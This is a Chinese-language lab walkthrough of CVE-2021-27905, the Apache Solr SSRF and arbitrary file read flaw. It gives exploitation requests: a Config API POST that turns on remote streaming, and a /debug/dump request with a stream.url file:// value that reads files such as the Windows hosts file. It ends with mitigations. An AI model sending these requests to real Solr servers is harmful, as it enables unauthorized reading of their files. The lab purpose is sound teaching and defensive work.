CVE-2021-27905 Apache Solr SSRF漏洞

预备知识
1. 漏洞信息

漏洞编号:CVE-2021-27905  
漏洞名称:Apache Solr SSRF漏洞 

漏洞描述:Apache Solr是一个开源的搜索服务,使用Java编写、运行在Servlet容器的一个独立的全文搜索服务器,是Apache Lucene项目的开源企业搜索平台。该漏洞是由于Solr默认安装未开启身份验证,攻击者可未授权通过Config API修改配置,导致SSRF和任意文件读取。

影响版本:Apache Solr <= 8.8.1

2. ApacheSolr相关实验

实验目的
通过实验学习Apache Solr SSRF及任意文件读取漏洞的产生原因和利用方式。

实验环境
Attack:Kali Linux
Target:Windows 10、IP:10.1.1.200
实验步骤一
任务描述:漏洞环境:源码搭建及创建core。

1. target机器下载漏洞环境并解压,进入bin目录,执行solr start -p 8983

CVE-2021-27905 Apache Solr SSRF漏洞_第1张图片
2. 浏览器访问http://ip:8983即可看到solr的主界面:
CVE-2021-27905 Apache Solr SSRF漏洞_第2张图片

3. 刚下载的环境是没有core的,点击左侧的Core Admin来创建一个core:
CVE-2021-27905 Apache Solr SSRF漏洞_第3张图片

4. 直接点击Add Core发现报错:
CVE-2021-27905 Apache Solr SSRF漏洞_第4张图片
5. 但是此时Solr已经在/server/solr目录下创建了名为new_core的文件夹,需要把/server/solr/configsets/_default文件夹下的conf目录整个拷贝到new_core文件夹下:
CVE-2021-27905 Apache Solr SSRF漏洞_第5张图片

6. 复制完成后再点击Add Core即可创建成功:
CVE-2021-27905 Apache Solr SSRF漏洞_第6张图片

实验步骤二
任务描述:漏洞代码块分析。


1.  漏洞代码块 

https://github.com/apache/solr/blob/main/solr/core/src/java/org/apache/solr/servlet/SolrRequestParsers.java:
CVE-2021-27905 Apache Solr SSRF漏洞_第7张图片
这里获取stream.url参数并调用了URLStream。
2.  跟进URLStream:
CVE-2021-27905 Apache Solr SSRF漏洞_第8张图片
发现其getStream()方法与url建立了连接,导致SSRF漏洞。
3. 同样在SolrRequestParsers.java文件中:
CVE-2021-27905 Apache Solr SSRF漏洞_第9张图片
和SSRF代码类似,这里调用的是ContentStreamBase.FileStream。

4. 跟进FileStream:
CVE-2021-27905 Apache Solr SSRF漏洞_第10张图片

没有任何过滤,所以可以读取任意文件。

实验步骤三
任务描述:漏洞复现,获取core_name,发送请求开启远程读取文件流,任意文件读取。

1.  Attack机器通过浏览器访问http://ip:8983/solr/admin/cores?indexInfo=false&wt=json,可以获取目标机器core的名字:
CVE-2021-27905 Apache Solr SSRF漏洞_第11张图片
2.  利用Config API打开默认关闭的requestDispatcher.requestParsers.enableRemoteStreaming开关。
访问http://ip:8983/solr/core_name/config,使用burp发送以下POST请求包:

{"set-property": {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
CVE-2021-27905 Apache Solr SSRF漏洞_第12张图片
注意修改MIME类型为application/json
可以测试是否存在漏洞,响应码为200,说明远程读取流文件配置开启成功。

3.  开启后寻找某个路径进行文件读取,在 https://github.com/apache/solr/blob/7ada4032180b516548fc0263f42da6a7a917f92b/solr/core/src/resources/ImplicitPlugins.json 中提供了很多请求路径。

4.  其中/debug/dump主要是输出一些请求头和响应头信息,可以针对该路径进行利用:

POST/solr/core_name/debug/dump

stream.url=file://想要读取的文件名称

例如读取hosts文件:C:\Windows\System32\drivers\etc\hosts
CVE-2021-27905 Apache Solr SSRF漏洞_第13张图片
stream.url参数触发SSRF漏洞,Java中可以利用file协议实现任意文件读取。

实验步骤四
任务描述:漏洞检测POC测试。


1.  Attack机器下载漏洞检测POC并解压:
CVE-2021-27905 Apache Solr SSRF漏洞_第14张图片
2.  执行漏洞检测POC并输入待检测的URL:
CVE-2021-27905 Apache Solr SSRF漏洞_第15张图片
3.  输入想要读取的文件名称:
CVE-2021-27905 Apache Solr SSRF漏洞_第16张图片
漏洞修复
将Solr端口仅对内网开放,并配置访问策略:
1、 关闭ConfigAPI,禁止通过API修改配置,在bin目录下的solr.in.cmd中加入:
set SOLR_OPTS=%SOLR_OPTS%-Ddisable.configEdit=true
2、 关闭远程读取文件流,修改core_name/conf/configoverlay.json中的远程读取文件流的配置修改为false:

你可能感兴趣的:(经典漏洞利用,solr,apache,lucene)